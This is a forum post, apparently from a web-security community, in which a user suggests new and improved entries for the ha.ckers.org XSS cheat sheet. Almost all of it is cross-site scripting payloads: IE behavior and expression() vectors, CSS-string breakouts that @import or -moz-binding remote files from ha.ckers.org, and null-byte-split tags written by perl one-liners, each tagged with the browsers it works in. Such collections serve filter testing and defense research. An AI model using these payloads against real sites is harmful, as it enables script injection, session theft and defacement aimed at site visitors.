Continue!
1.
Quote
ha.ckers.org/xss2.html<P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">
The power of this vector is still not fully identified and it generates questions. This should be replaced by
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="alert('XSS')"> or better
<P STYLE="behavior:url('#default#time2')" onBegin="alert('XSS')">.
I already wrote about this.
2.
Quote
ha.ckers.org/xss2.html
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<STYLE>@im\port'ht\tp://ha.c\kers.org/xss-retest.css';</STYLE>
Need to add:
<STYLE>a{background:url('s1' 's2)}@import javascript:alert(1);');}</STYLE> // IE 6
or better
<STYLE>a{background:url('s1' 's2)}@import url(http://ha.ckers.org/xss.css);');}</STYLE> // IE 6-8 (breaking out of css-string + rules after something)
to your taste...
3.
Quote
ha.ckers.org/xss2.html<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
It should be replaced:
<STYLE>BODY{property:"
invalid;-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);"}</STYLE> //FF 3.6 + breaking out of css-string
or better
<body style="property:'
invalid;-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss);'">
4.
Quote
ha.ckers.org/xss2.html
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
// IE (in tag)
perl -e 'print "<IMG SRC=\"\" o\0nerror=alert(\"XSS\")>";' > out
// IE (in attribute)
Need to add:
perl -e 'print "<IMG\0zzz SRC=\"\" onerror\0zzz=alert(\"XSS\")>";' > out
// GC 4 & Safari 4.0.4 (right side (after \0) in the tagname and attribute is ignored, but left side is valid)
And the logical conclusion:
perl -e 'print "<IMG STYLE=xss:expr/\0*XSS*\0/ession(alert(\"XSS\"))>";' > out
// IE (in parameter, bypass filtering comments). This comment is also valid in GC & Safari, if stylesheet into "<style>".
@all, the show must go on!!!
P.S.
Quote
rsnake
Posted by: rsnake
Date: August 10, 2009
Quote
ha.ckers.org/xss2.html
Check back in a week or two!
:D:D:D
upd1: @Gareth, nice! haha :)) Yep, <imitation>I'll do my own</imitation>
LeverOne
----------------------
~Veritas~
Edited 1 time(s). Last edit at 03/04/2010 03:18AM by LeverOne.